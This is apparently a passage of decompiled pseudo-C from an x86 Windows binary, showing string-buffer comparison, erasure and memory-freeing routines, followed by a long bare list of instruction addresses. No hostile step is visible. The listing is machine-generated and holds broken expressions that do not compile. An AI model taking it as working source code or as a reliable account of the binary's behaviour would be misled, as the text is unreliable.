																							_t661 = _t253;
																							E000882E0( &_v76,  &_v108, _t697, _v64, _t697,  *_t252 + _t822);
																							_t761 = _v92;
																							__eflags = _t761;
																							if(_t761 != 0) {
																								_t791 = _v60;
																								_t698 = _t791;
																								__eflags =  *((intOrPtr*)(_t791 + 0x14)) - 0x10;
																								if( *((intOrPtr*)(_t791 + 0x14)) >= 0x10) {
																									_t698 =  *_t791;
																								}
																								_t514 =  *_t661;
																								_t884 = _t883 - 0xc;
																								_t661 = _v96;
																								_t515 = _t514 + _t698;
																								_t823 = _v108;
																								_v76 = _t661 + _t761;
																								_t763 = _t884;
																								 *_t763 = 0;
																								_t763[1] = 0;
																								__eflags = _t823;
																								if(_t823 != 0) {
																									_t732 =  *_t823;
																									__eflags = _t732;
																									if(_t732 != 0) {
																										 *_t763 =  *_t732;
																									}
																								}
																								_t883 = _t884 - 0xc;
																								_t763[2] = _v76;
																								_t764 = _t883;
																								 *_t764 = 0;
																								 *(_t764 + 4) = 0;
																								__eflags = _t823;
																								if(_t823 != 0) {
																									_t730 =  *_t823;
																									__eflags = _t730;
																									if(_t730 != 0) {
																										 *_t764 =  *_t730;
																									}
																								}
																								_push(_t515);
																								 *(_t764 + 8) = _t661;
																								E00088820(_t791,  &_v76);
																								goto L155;
																							} else {
																								_t589 = _v60;
																								_t837 = _t589;
																								_t259 = _t589 + 0x14; // 0xc5e90016
																								_t702 =  *_t259;
																								__eflags = _t702 - 0x10;
																								if(__eflags >= 0) {
																									_t837 =  *_t589;
																								}
																								_t764 =  *_t661;
																								_v72 = _t589;
																								_t791 = _t764 + _t837;
																								if(__eflags >= 0) {
																									_v72 =  *_t589;
																								}
																								_t590 = _v76;
																								_t826 = _t590 - _v72;
																								__eflags = _t764 - _t826;
																								if(_t764 < _t826) {
																									E0006AE60(_t702, _t791);
																									goto L171;
																								} else {
																									_t802 = _t791 - _t590;
																									_t593 = _t764 - _t826;
																									__eflags = _t593 - _t802;
																									_t791 =  <  ? _t593 : _t802;
																									__eflags = _t702 - 0x10;
																									_t734 = _v60;
																									if(_t702 >= 0x10) {
																										_t734 =  *_t734;
																									}
																									_t774 = _t764 - _t791;
																									 *_t661 = _t774;
																									_t764 = _t774 - _t826 + 1;
																									E00104E60(_t734 + _t826, _t734 + _t826 + _t791, _t774 - _t826 + 1);
																									_t883 = _t883 + 0xc;
																									L155:
																									_t701 = _v92;
																									__eflags = _t701;
																									if(_t701 != 0) {
																										_t588 = _v96;
																										do {
																											_t701 = _t701 - 1;
																											_t764 = 0;
																											_t588 =  ==  ? 0 : _t588;
																											__eflags = _t701;
																										} while (_t701 != 0);
																										_v96 = _t588;
																										_v92 = _t701;
																									}
																									_t824 = _v100;
																									_t702 = _v104;
																									__eflags = _t824;
																									if(_t824 != 0) {
																										do {
																											_t586 =  *(_t702 + _t824 * 4 - 4);
																											_t824 = _t824 - 1;
																											__eflags = _t586;
																											if(_t586 != 0) {
																												_push(0x10);
																												E000ED2D0(_t586);
																												_t702 = _v104;
																												_t883 = _t883 + 8;
																											}
																											__eflags = _t824;
																										} while (_t824 != 0);
																										_t824 = _v100;
																									}
																									__eflags = _t702;
																									if(_t702 == 0) {
																										L169:
																										_push(8);
																										_v100 = 0;
																										_v104 = 0;
																										_t518 = E000ED2D0(_v108);
																										 *[fs:0x0] = _v56;
																										return _t518;
																									} else {
																										_t826 = _t824 << 2;
																										_t519 = _t702;
																										__eflags = _t826 - 0x1000;
																										if(_t826 < 0x1000) {
																											L168:
																											_push(_t826);
																											E000ED2D0(_t702);
																											_t883 = _t883 + 8;
																											goto L169;
																										} else {
																											_t702 =  *(_t702 - 4);
																											_t826 = _t826 + 0x23;
																											__eflags = _t519 - _t702 + 0xfffffffc - 0x1f;
																											if(__eflags > 0) {
																												L171:
																												E0010F44B(_t661, _t702, _t764, _t791, __eflags);
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												_push(_t851);
																												_t853 = _t883;
																												_push(0xffffffff);
																												_push(0x12fff8);
																												_push( *[fs:0x0]);
																												_push(_t661);
																												_push(_t826);
																												_push(_t791);
																												_t525 =  *0x16f170; // 0xd529e887
																												_push(_t525 ^ _t853);
																												 *[fs:0x0] =  &_v424;
																												_v428 = _t702;
																												_t793 = _v384;
																												_t827 = _v380;
																												_t663 = _v376;
																												_push(8);
																												_v436 = _v372;
																												_v480 = 0;
																												_v476 = 0;
																												_v472 = 0;
																												_v468 = 0;
																												_v464 = 0;
																												_t529 = E000ECF08(_t827, __eflags);
																												_v480 = _t529;
																												_t888 = _t883 - 0x38 + 4;
																												 *_t529 = 0;
																												_t529[1] = 0;
																												 *_v480 =  &_v480;
																												_t765 = _v428;
																												_t531 = _t765;
																												_v416 = 0;
																												_v432 = _t765;
																												_t706 =  *((intOrPtr*)(_t765 + 0x14));
																												_v444 = _t706;
																												__eflags = _t706 - 8;
																												if(_t706 >= 8) {
																													_t531 =  *_t765;
																													_v68 =  *_t765;
																												}
																												__eflags =  *((intOrPtr*)(_t765 + 0x14)) - 8;
																												_t707 = _t765;
																												if( *((intOrPtr*)(_t765 + 0x14)) >= 8) {
																													_t707 =  *_t765;
																												}
																												__eflags = _t793 - _t827;
																												if(_t793 != _t827) {
																													while(1) {
																														L177:
																														E00088990( &_v84,  &_v116, _t707, _t531, _t707, _t793);
																														_push(_v72);
																														_t772 = _v104 + _v100;
																														_push(_t663);
																														_t888 = _t888 - 0xc;
																														_v68 = _v84;
																														_t576 = _t827;
																														_t726 = _t888;
																														_v76 = _t576;
																														_t801 = _t576;
																														_t577 = _v116;
																														 *_t726 = 0;
																														 *(_t726 + 4) = 0;
																														__eflags = _t577;
																														if(_t577 != 0) {
																															_t584 =  *_t577;
																															__eflags = _t584;
																															if(_t584 != 0) {
																																 *_t726 =  *_t584;
																															}
																														}
																														 *((intOrPtr*)(_t726 + 8)) = _t772;
																														_push( &_v96);
																														E00088AE0();
																														_t765 = _v64;
																														_t728 = _t765;
																														_t580 =  *((intOrPtr*)(_t765 + 0x14));
																														_v80 = _t580;
																														__eflags = _t580 - 8;
																														if(_t580 >= 8) {
																															_t728 =  *_t765;
																														}
																														_t582 = _t728 +  *(_t765 + 0x10) * 2;
																														__eflags = _t801 - _t582;
																														if(_t801 == _t582) {
																															goto L193;
																														}
																														_t667 = _v36;
																														_t729 = _v40;
																														while(1) {
																															__eflags = _t729 - _t667;
																															if(_t729 == _t667) {
																																break;
																															}
																															_t827 = _t801;
																															__eflags = _t801 - _t582;
																															if(_t801 == _t582) {
																																L190:
																																__eflags = _t729 - _t667;
																																if(_t729 == _t667) {
																																	goto L196;
																																} else {
																																	_t729 = _v40;
																																	_t801 = _t801 + 2;
																																	__eflags = _t801 - _t582;
																																	if(_t801 != _t582) {
																																		continue;
																																	} else {
																																		_t765 = _v64;
																																		goto L193;
																																	}
																																}
																															} else {
																																asm("o16 nop [eax+eax]");
																																while(1) {
																																	__eflags = _t729 - _t667;
																																	if(_t729 == _t667) {
																																		break;
																																	}
																																	__eflags =  *_t827 -  *_t729;
																																	if( *_t827 !=  *_t729) {
																																		goto L190;
																																	} else {
																																		_t827 = _t827 + 2;
																																		_t729 = _t729 + 2;
																																		__eflags = _t827 - _t582;
																																		if(_t827 != _t582) {
																																			continue;
																																		} else {
																																			goto L190;
																																		}
																																	}
																																	goto L198;
																																}
																																L196:
																																_t765 = _v64;
																																L194:
																																__eflags = _t793 - _t827;
																																if(_t793 != _t827) {
																																	_t663 = _v28;
																																	_t707 = _v76;
																																	_v72 = _v24;
																																	_t531 = _v68;
																																	goto L177;
																																}
																															}
																															L198:
																															_t707 = _v76;
																															goto L199;
																														}
																														_t765 = _v64;
																														goto L198;
																														L193:
																														_t793 = _t582;
																														_t827 = _t582;
																														goto L194;
																													}
																												}
																												L199:
																												__eflags = _v80 - 8;
																												_t828 = _v64;
																												if(_v80 >= 8) {
																													_t765 =  *_t828;
																												}
																												_t664 =  &(_t828[4]);
																												E00088990( &_v84,  &_v116, _t707, _v68, _t707, _t765 + _t828[4] * 2);
																												_t766 = _v100;
																												__eflags = _t766;
																												if(_t766 != 0) {
																													__eflags = _t828[5] - 8;
																													_t708 = _t828;
																													if(_t828[5] >= 8) {
																														_t708 =  *_t828;
																													}
																													_t794 = _v104;
																													_t889 = _t888 - 0xc;
																													_t537 =  *_t664;
																													_t829 = _v116;
																													_t664 = _t794 + _t766;
																													_t767 = _t889;
																													_t538 = _t708 + _t537 * 2;
																													 *_t767 = 0;
																													_t767[1] = 0;
																													__eflags = _t829;
																													if(_t829 != 0) {
																														_t722 =  *_t829;
																														__eflags = _t722;
																														if(_t722 != 0) {
																															 *_t767 =  *_t722;
																														}
																													}
																													_t767[2] = _t664;
																													_t888 = _t889 - 0xc;
																													_t768 = _t888;
																													 *_t768 = 0;
																													 *(_t768 + 4) = 0;
																													__eflags = _t829;
																													if(_t829 != 0) {
																														_t720 =  *_t829;
																														__eflags = _t720;
																														if(_t720 != 0) {
																															 *_t768 =  *_t720;
																														}
																													}
																													_push(_t538);
																													 *(_t768 + 8) = _t794;
																													_push( &_v84);
																													E00088EE0(_t664, _v64, _t794, _t829);
																													goto L219;
																												} else {
																													_t711 = _t828[5];
																													_t563 = _t828;
																													__eflags = _t711 - 8;
																													if(__eflags >= 0) {
																														_t563 =  *_t828;
																													}
																													_t768 =  *_t664;
																													_v80 = _t828;
																													_t794 = _t563 + _t768 * 2;
																													if(__eflags >= 0) {
																														_v80 =  *_t828;
																													}
																													_t564 = _v84;
																													_t832 = _t564 - _v80 >> 1;
																													__eflags = _t768 - _t832;
																													if(_t768 < _t832) {
																														E0006AE60(_t711, _t794);
																														goto L234;
																													} else {
																														_t800 = _t794 - _t564 >> 1;
																														_t567 = _t768 - _t832;
																														__eflags = _t567 - _t800;
																														_t794 =  <  ? _t567 : _t800;
																														__eflags = _t711 - 8;
																														_t724 = _v64;
																														if(_t711 >= 8) {
																															_t724 =  *_t724;
																														}
																														_t770 = _t768 - _t794;
																														 *_t664 = _t770;
																														_t768 = _t770 - _t832;
																														E00104E60(_t724 + _t832 * 2, _t724 + _t832 * 2 + _t794 * 2, 2 + (_t770 - _t832) * 2);
																														_t888 = _t888 + 0xc;
																														L219:
																														_t710 = _v100;
																														__eflags = _t710;
																														if(_t710 != 0) {
																															_t562 = _v104;
																															do {
																																_t710 = _t710 - 1;
																																_t768 = 0;
																																_t562 =  ==  ? 0 : _t562;
																																__eflags = _t710;
																															} while (_t710 != 0);
																															_v104 = _t562;
																															_v100 = _t710;
																														}
																														_t830 = _v108;
																														_t711 = _v112;
																														__eflags = _t830;
																														if(_t830 != 0) {
																															do {
																																_t560 =  *(_t711 + _t830 * 4 - 4);
																																_t830 = _t830 - 1;
																																__eflags = _t560;
																																if(_t560 != 0) {
																																	_push(0x10);
																																	E000ED2D0(_t560);
																																	_t711 = _v112;
																																	_t888 = _t888 + 8;
																																}
																																__eflags = _t830;
																															} while (_t830 != 0);
																															_t830 = _v108;
																														}
																														__eflags = _t711;
																														if(_t711 == 0) {
																															L232:
																															_push(8);
																															_v108 = 0;
																															_v112 = 0;
																															_t541 = E000ED2D0(_v116);
																															 *[fs:0x0] = _v60;
																															return _t541;
																														} else {
																															_t832 = _t830 << 2;
																															_t542 = _t711;
																															__eflags = _t832 - 0x1000;
																															if(_t832 < 0x1000) {
																																L231:
																																_push(_t832);
																																E000ED2D0(_t711);
																																_t888 = _t888 + 8;
																																goto L232;
																															} else {
																																_t711 =  *(_t711 - 4);
																																_t832 = _t832 + 0x23;
																																__eflags = _t542 - _t711 + 0xfffffffc - 0x1f;
																																if(__eflags > 0) {
																																	L234:
																																	E0010F44B(_t664, _t711, _t768, _t794, __eflags);
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	_push(_t853);
																																	_push(0xffffffff);
																																	_push(0x130020);
																																	_push( *[fs:0x0]);
																																	_t892 = _t888 - 0xc;
																																	_push(_t664);
																																	_push(_t832);
																																	_push(_t794);
																																	_t548 =  *0x16f170; // 0xd529e887
																																	_push(_t548 ^ _t888);
																																	 *[fs:0x0] =  &_v512;
																																	_v516 = _t892;
																																	_t833 = _t711;
																																	_v524 = _t833;
																																	_v504 = 0;
																																	_t551 = _v492;
																																	asm("o16 nop [eax+eax]");
																																	while(1) {
																																		__eflags = _t551 - _v36;
																																		if(_t551 == _v36) {
																																			break;
																																		}
																																		_t552 = E00070750(_t664, _t768, _v40);
																																		_t892 = _t892 + 4;
																																		_t553 =  *((intOrPtr*)( *((intOrPtr*)( *_t552 + 0x28))))( *_t551 & 0x0000ffff);
																																		_t718 =  *(_t833 + 0x10);
																																		_t798 =  *((intOrPtr*)(_t833 + 0x14));
																																		_t768 = _t553 & 0x0000ffff;
																																		__eflags = _t718 - _t798;
																																		if(_t718 >= _t798) {
																																			_push(_t768);
																																			_v72 = 0;
																																			_push(_v72);
																																			_push(1);
																																			E0006FD60(_t664, _t833, _t798);
																																			_t551 = _v44 + 2;
																																			_v44 = _t551;
																																		} else {
																																			 *(_t833 + 0x10) = _t718 + 1;
																																			_t558 = _t833;
																																			__eflags = _t798 - 8;
																																			if(_t798 >= 8) {
																																				_t558 =  *_t833;
																																			}
																																			 *(_t558 + _t718 * 2) = _t768;
																																			_t768 = 0;
																																			 *((short*)(_t558 + 2 + _t718 * 2)) = 0;
																																			_t551 = _v44 + 2;
																																			_v44 = _t551;
																																		}
																																	}
																																	 *[fs:0x0] = _v64;
																																	return _t551;
																																} else {
																																	goto L231;
																																}
																															}
																														}
																													}
																												}
																											} else {
																												goto L168;
																											}
																										}
																									}
																								}
																							}
																						} else {
																							_t817 = _t695;
																							goto L104;
																						}
																					}
																				}
																			}
																		} else {
																			L89:
																			_t786[0x13] = 0x17a3a0;
																			__eflags = _t786[0x12];
																			if(_t786[0x12] == 0) {
																				E000563C0(_v32,  &_v84);
																			} else {
																				_t743 =  *( *(_t786[0x1d]) + 0x34);
																				 *_t743 = _t786[0x12];
																				_t743[1] = _t786[0x13];
																				E00056420(_v32);
																			}
																			E000564C0( &_v84);
																			L93:
																			 *[fs:0x0] = _v52;
																			return _v32;
																		}
																	}
																}
															}
														}
													} else {
														L63:
														_t784[0x13] = 0x17a3a0;
														__eflags = _t784[0x12];
														if(_t784[0x12] == 0) {
															E000563C0( *((intOrPtr*)(_t656 + 8)),  &_v84);
														} else {
															_t747 =  *( *(_t784[0x1d]) + 0x34);
															 *_t747 = _t784[0x12];
															_t747[1] = _t784[0x13];
															E00056420( *((intOrPtr*)(_t656 + 8)));
														}
														E000564C0( &_v84);
														L67:
														 *[fs:0x0] = _v48;
														return  *((intOrPtr*)(_t656 + 8));
													}
												}
											} else {
												goto L55;
											}
										}
									} else {
										_t782[0x12] = 0;
										_t633 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
										_t868 = _t868 + 0xc;
										__eflags = _t633;
										if(_t633 == 0) {
											E0010F5C4(_t654, _t680, _t757, _t782);
											goto L45;
										} else {
											_t749 =  *((intOrPtr*)(_t654 + 8));
											_t782[0x13] = 0x17a3a0;
											__eflags = _t782[0x12];
											if(_t782[0x12] == 0) {
												E000563C0(_t749,  &_v76);
												E000564C0( &_v76);
											} else {
												E00056420(_t749);
												E000564C0( &_v76);
											}
											L43:
											 *[fs:0x0] = _v36;
											return  *((intOrPtr*)(_t654 + 8));
										}
									}
								}
							} else {
								L17:
								_t780[0x13] = 0x17a3a0;
								__eflags = _t780[0x12];
								if(_t780[0x12] == 0) {
									E000563C0( *((intOrPtr*)(_t652 + 8)),  &_v60);
								} else {
									_t754 =  *( *(_t780[0x1d]) + 0x34);
									 *_t754 = _t780[0x12];
									_t754[1] = _t780[0x13];
									E00056420( *((intOrPtr*)(_t652 + 8)));
								}
								E000564C0( &_v60);
								L21:
								 *[fs:0x0] = _v24;
								return  *((intOrPtr*)(_t652 + 8));
							}
						}
					} else {
						goto L9;
					}
				}
			}

0x0007e571
0x0007e579
0x0007e580
0x0007e584
0x0007e586
0x0007e588
0x0007e593
0x0007e594
0x0007e595
0x0007e59a
0x0007e5a1
0x0007e5a5
0x0007e5ab
0x0007e5b0
0x0007e5b3
0x0007e5b7
0x0007e5e6
0x0007e5eb
0x0007e5f0
0x0007e5f5
0x0007e5fb
0x00000000
0x0007e5b9
0x0007e5bc
0x0007e5c7
0x0007e5c9
0x0007e5cb
0x0007e5cb
0x0007e5cd
0x0007e5d0
0x0007e5d0
0x0007e5d7
0x0007e5d9
0x0007e5d9
0x0007e5db
0x0007e5df
0x0007e5e4
0x0007e605
0x0007e609
0x0007e624
0x0007e62a
0x0007e62d
0x0007e630
0x0007e633
0x0007e637
0x0007e639
0x0007e63b
0x0007e63f
0x0007e63f
0x0007e645
0x0007e648
0x0007e64b
0x0007e651
0x0007e658
0x0007e660
0x0007e664
0x0007e666
0x0007e66a
0x0007e66f
0x0007e674
0x0007e679
0x0007e690
0x0007e695
0x0007e698
0x0007e69a
0x00000000
0x0007e69c
0x0007e6a2
0x00000000
0x0007e6a2
0x0007e67b
0x0007e67b
0x0007e682
0x0007e687
0x0007e68a
0x0007e68c
0x0007e6fc
0x0007e701
0x0007e701
0x0007e706
0x0007e707
0x0007e708
0x0007e709
0x0007e70a
0x0007e70b
0x0007e70c
0x0007e70d
0x0007e70e
0x0007e70f
0x0007e710
0x0007e711
0x0007e719
0x0007e71c
0x0007e720
0x0007e724
0x0007e726
0x0007e728
0x0007e733
0x0007e734
0x0007e735
0x0007e738
0x0007e739
0x0007e73a
0x0007e741
0x0007e745
0x0007e74b
0x0007e74d
0x0007e754
0x0007e756
0x0007e851
0x00000000
0x0007e75c
0x0007e75c
0x0007e760
0x0007e778
0x0007e778
0x0007e77c
0x0007e77e
0x0007e780
0x0007e780
0x0007e782
0x0007e785
0x0007e788
0x0007e78c
0x0007e78e
0x0007e78e
0x0007e790
0x0007e762
0x0007e762
0x0007e766
0x00000000
0x0007e768
0x0007e768
0x0007e76c
0x0007e76e
0x0007e76e
0x0007e770
0x0007e773
0x0007e773
0x0007e766
0x0007e793
0x0007e7b2
0x0007e7b8
0x0007e7bb
0x0007e7be
0x0007e7c1
0x0007e7c5
0x0007e7c7
0x0007e7c9
0x0007e7cd
0x0007e7cd
0x0007e7d3
0x0007e7d6
0x0007e7d9
0x0007e7df
0x0007e7e6
0x0007e7ee
0x0007e7f2
0x0007e7f4
0x0007e7f8
0x0007e874
0x0007e875
0x0007e87e
0x0007e883
0x0007e884
0x0007e885
0x0007e886
0x0007e887
0x0007e888
0x0007e889
0x0007e88a
0x0007e88b
0x0007e88c
0x0007e88d
0x0007e88e
0x0007e88f
0x0007e890
0x0007e891
0x0007e899
0x0007e89c
0x0007e8a0
0x0007e8a4
0x0007e8a6
0x0007e8a8
0x0007e8b3
0x0007e8b4
0x0007e8b5
0x0007e8b8
0x0007e8b9
0x0007e8ba
0x0007e8c1
0x0007e8c5
0x0007e8cb
0x0007e8d0
0x0007e8d3
0x0007e8d5
0x0007e8d7
0x0007e906
0x0007e90b
0x0007e910
0x0007e915
0x0007e91b
0x00000000
0x0007e8d9
0x0007e8d9
0x0007e8dc
0x0007e8e3
0x0007e8e3
0x0007e8e7
0x0007e8e9
0x0007e8eb
0x0007e8eb
0x0007e8ed
0x0007e8f0
0x0007e8f0
0x0007e8de
0x0007e8de
0x0007e8e1
0x00000000
0x00000000
0x0007e8e1
0x0007e8f3
0x0007e8f7
0x0007e8f9
0x0007e8f9
0x0007e8fb
0x0007e8ff
0x0007e902
0x0007e904
0x0007e944
0x0007e94a
0x0007e94d
0x0007e950
0x0007e953
0x0007e957
0x0007e959
0x0007e95b
0x0007e95f
0x0007e95f
0x0007e965
0x0007e968
0x0007e96b
0x0007e971
0x0007e978
0x0007e980
0x0007e984
0x0007e986
0x0007e98a
0x0007e98f
0x0007e994
0x0007e999
0x0007e9b0
0x0007e9b5
0x0007e9b8
0x0007e9ba
0x00000000
0x0007e9bc
0x0007e9c2
0x00000000
0x0007e9c2
0x0007e99b
0x0007e99b
0x0007e9a2
0x0007e9a7
0x0007e9aa
0x0007e9ac
0x0007ea1c
0x0007ea21
0x0007ea21
0x0007ea26
0x0007ea27
0x0007ea28
0x0007ea29
0x0007ea2a
0x0007ea2b
0x0007ea2c
0x0007ea2d
0x0007ea2e
0x0007ea2f
0x0007ea30
0x0007ea31
0x0007ea33
0x0007ea35
0x0007ea40
0x0007ea41
0x0007ea44
0x0007ea45
0x0007ea46
0x0007ea4d
0x0007ea51
0x0007ea57
0x0007ea5c
0x0007ea5f
0x0007ea61
0x0007ea63
0x0007eb38
0x0007eb3d
0x0007eb42
0x0007eb47
0x0007eb4d
0x00000000
0x0007ea69
0x0007ea69
0x0007ea6c
0x0007eb15
0x0007eb15
0x0007eb19
0x0007eb1b
0x0007eb1d
0x0007eb1d
0x0007eb1f
0x0007eb22
0x0007eb25
0x0007eb29
0x0007eb2b
0x0007eb2b
0x0007eb2d
0x0007eb30
0x0007eb32
0x00000000
0x00000000
0x00000000
0x00000000
0x0007ea72
0x0007ea72
0x0007ea75
0x00000000
0x0007ea7b
0x0007ea7b
0x0007ea7f
0x0007ea81
0x0007ea81
0x0007ea83
0x0007ea86
0x0007eaa5
0x0007eaab
0x0007eaae
0x0007eab1
0x0007eab4
0x0007eab8
0x0007eaba
0x0007eabc
0x0007eac0
0x0007eac0
0x0007eac6
0x0007eac9
0x0007eacc
0x0007ead2
0x0007ead9
0x0007eae1
0x0007eae5
0x0007eae7
0x0007eaeb
0x0007eaf0
0x0007eaf5
0x0007eafa
0x0007eb54
0x0007eb59
0x0007eb5c
0x0007eb5e
0x00000000
0x0007eb60
0x0007eb66
0x00000000
0x0007eb66
0x0007eafc
0x0007eafc
0x0007eb03
0x0007eb08
0x0007eb0b
0x0007eb0d
0x0007ebbd
0x0007ebc2
0x0007ebc2
0x0007ebc7
0x0007ebc8
0x0007ebc9
0x0007ebca
0x0007ebcb
0x0007ebcc
0x0007ebcd
0x0007ebce
0x0007ebcf
0x0007ebd0
0x00080ab0
0x00080ab1
0x00080ab3
0x00080ab5
0x00080b23
0x00080b24
0x00080ab7
0x00080ab7
0x00080ab8
0x00080aba
0x00080abc
0x00080b17
0x00080b17
0x00080b1a
0x00000000
0x00080abe
0x00080abe
0x00080abf
0x00080ac2
0x00080ac4
0x00080ac6
0x00080ac6
0x00080ac9
0x00080ace
0x00080ad1
0x00080ad1
0x00080ad5
0x00080ad5
0x00080adc
0x00080adf
0x00080ae0
0x00080ae5
0x00080af9
0x00080af9
0x00080afb
0x00080b00
0x00080b06
0x00080b09
0x00080b10
0x00000000
0x00080ae7
0x00080ae7
0x00080aea
0x00080aef
0x00080af2
0x00080af5
0x00080b25
0x00080b2a
0x00080b2b
0x00080b2c
0x00080b2d
0x00080b2e
0x00080b2f
0x00080b30
0x00080b31
0x00080b33
0x00080b35
0x00080b40
0x00080b44
0x00080b45
0x00080b46
0x00080b47
0x00080b4e
0x00080b52
0x00080b58
0x00080b5e
0x00080b61
0x00080b64
0x00080b67
0x00080b69
0x00080b6c
0x00080b73
0x00080b7a
0x00080b81
0x00080b88
0x00080b8f
0x00080b94
0x00080b9a
0x00080b9d
0x00080ba3
0x00080bad
0x00080baf
0x00080bb2
0x00080bb4
0x00080bbb
0x00080bbe
0x00080bc2
0x00080bc4
0x00080bc6
0x00080bc6
0x00080bc9
0x00080bcb
0x00080bcd
0x00080bcd
0x00080bcf
0x00080bd1
0x00080bd7
0x00080bd7
0x00080be3
0x00080be8
0x00080bf1
0x00080bf4
0x00080bf5
0x00080bf8
0x00080bfb
0x00080bfd
0x00080bff
0x00080c02
0x00080c04
0x00080c07
0x00080c0d
0x00080c14
0x00080c16
0x00080c18
0x00080c1a
0x00080c1c
0x00080c20
0x00080c20
0x00080c1c
0x00080c25
0x00080c28
0x00080c2c
0x00080c31
0x00080c34
0x00080c36
0x00080c3a
0x00080c3c
0x00080c3c
0x00080c3e
0x00080c41
0x00080c43
0x00080c45
0x00000000
0x00000000
0x00080c47
0x00080c4a
0x00080c50
0x00080c50
0x00080c52
0x00000000
0x00000000
0x00080c54
0x00080c56
0x00080c58
0x00080c70
0x00080c70
0x00080c72
0x00000000
0x00080c74
0x00080c74
0x00080c77
0x00080c78
0x00080c7a
0x00000000
0x00080c7c
0x00080c7c
0x00000000
0x00080c7c
0x00080c7a
0x00080c5a
0x00080c5a
0x00080c60
0x00080c60
0x00080c62
0x00000000
0x00000000
0x00080c66
0x00080c68
0x00000000
0x00080c6a
0x00080c6a
0x00080c6b
0x00080c6c
0x00080c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00080c6e
0x00000000
0x00080c68
0x00080c9b
0x00080c9b
0x00080c83
0x00080c83
0x00080c85
0x00080c8a
0x00080c8d
0x00080c90
0x00080c93
0x00000000
0x00080c93
0x00080c85
0x00080ca3
0x00080ca3
0x00000000
0x00080ca3
0x00080ca0
0x00000000
0x00080c7f
0x00080c7f
0x00080c81
0x00000000
0x00080c81
0x00080bd7
0x00080ca6
0x00080ca6
0x00080caa
0x00080cac
0x00080cae
0x00080cae
0x00080cb0
0x00080cb3
0x00080cb3
0x00080cc6
0x00080ccb
0x00080cce
0x00080cd0
0x00080d2e
0x00080d31
0x00080d33
0x00080d37
0x00080d39
0x00080d39
0x00080d3b
0x00080d3d
0x00080d40
0x00080d43
0x00080d45
0x00080d4a
0x00080d4d
0x00080d4f
0x00080d55
0x00080d5c
0x00080d5e
0x00080d60
0x00080d62
0x00080d64
0x00080d68
0x00080d68
0x00080d64
0x00080d6d
0x00080d70
0x00080d73
0x00080d75
0x00080d7b
0x00080d82
0x00080d84
0x00080d86
0x00080d88
0x00080d8a
0x00080d8e
0x00080d8e
0x00080d8a
0x00080d90
0x00080d94
0x00080d9a
0x00000000
0x00080cd2
0x00080cd2
0x00080cd5
0x00080cd7
0x00080cd7
0x00080cda
0x00080cdd
0x00080cdf
0x00080cdf
0x00080ce1
0x00080ce3
0x00080ce6
0x00080ce9
0x00080ced
0x00080ced
0x00080cf0
0x00080cf5
0x00080cf8
0x00080cfa
0x00080e46
0x00000000
0x00080d00
0x00080d00
0x00080d04
0x00080d06
0x00080d08
0x00080d0b
0x00080d0e
0x00080d11
0x00080d13
0x00080d13
0x00080d15
0x00080d19
0x00080d1d
0x00080d24
0x00080d29
0x00080d9f
0x00080d9f
0x00080da2
0x00080da4
0x00080da6
0x00080db0
0x00080db0
0x00080db3
0x00080db8
0x00080dbb
0x00080dbb
0x00080dbf
0x00080dc2
0x00080dc2
0x00080dc5
0x00080dc8
0x00080dcb
0x00080dcd
0x00080dd0
0x00080dd0
0x00080dd4
0x00080dd5
0x00080dd7
0x00080dd9
0x00080ddc
0x00080de1
0x00080de4
0x00080de4
0x00080de7
0x00080de7
0x00080deb
0x00080deb
0x00080dee
0x00080df0
0x00080e19
0x00080e19
0x00080e1e
0x00080e25
0x00080e2c
0x00080e37
0x00080e45
0x00080df2
0x00080df2
0x00080df5
0x00080df7
0x00080dfd
0x00080e0f
0x00080e0f
0x00080e11
0x00080e16
0x00000000
0x00080dff
0x00080dff
0x00080e02
0x00080e0a
0x00080e0d
0x00080e4b
0x00080e4b
0x00080e50
0x00080e51
0x00080e52
0x00080e53
0x00080e54
0x00080e55
0x00080e56
0x00080e57
0x00080e58
0x00080e59
0x00080e5a
0x00080e5b
0x00080e5c
0x00080e5d
0x00080e5e
0x00080e5f
0x00080e60
0x00080e61
0x00080e63
0x00080e65
0x00080e70
0x00080e74
0x00080e75
0x00080e76
0x00080e77
0x00080e7e
0x00080e82
0x00080e88
0x00080e8e
0x00080e91
0x00080e94
0x00080e97
0x00080e99
0x00080e9c
0x00080ea3
0x00080eaa
0x00080eb1
0x00080eb8
0x00080ebf
0x00080ec4
0x00080eca
0x00080ecd
0x00080ed3
0x00080edd
0x00080edf
0x00080ee2
0x00080ee4
0x00080eeb
0x00080eee
0x00080ef1
0x00080ef4
0x00080ef7
0x00080ef9
0x00080efb
0x00080efb
0x00080efe
0x00080f02
0x00080f04
0x00080f06
0x00080f06
0x00080f08
0x00080f0a
0x00080f10
0x00080f10
0x00080f1c
0x00080f21
0x00080f2a
0x00080f2d
0x00080f2e
0x00080f31
0x00080f34
0x00080f36
0x00080f38
0x00080f3b
0x00080f3d
0x00080f40
0x00080f46
0x00080f4d
0x00080f4f
0x00080f51
0x00080f53
0x00080f55
0x00080f59
0x00080f59
0x00080f55
0x00080f5e
0x00080f61
0x00080f65
0x00080f6a
0x00080f6d
0x00080f6f
0x00080f72
0x00080f75
0x00080f78
0x00080f7a
0x00080f7a
0x00080f7f
0x00080f82
0x00080f84
0x00000000
0x00000000
0x00080f86
0x00080f89
0x00080f90
0x00080f90
0x00080f92
0x00000000
0x00000000
0x00080f94
0x00080f96
0x00080f98
0x00080fb6
0x00080fb6
0x00080fb8
0x00000000
0x00080fba
0x00080fba
0x00080fbd
0x00080fc0
0x00080fc2
0x00000000
0x00080fc4
0x00080fc4
0x00000000
0x00080fc4
0x00080fc2
0x00080f9a
0x00080f9a
0x00080fa0
0x00080fa0
0x00080fa2
0x00000000
0x00000000
0x00080fa7
0x00080faa
0x00000000
0x00080fac
0x00080fac
0x00080faf
0x00080fb2
0x00080fb4
0x00000000
0x00000000
0x00000000
0x00000000
0x00080fb4
0x00000000
0x00080faa
0x00080fe3
0x00080fe3
0x00080fcb
0x00080fcb
0x00080fcd
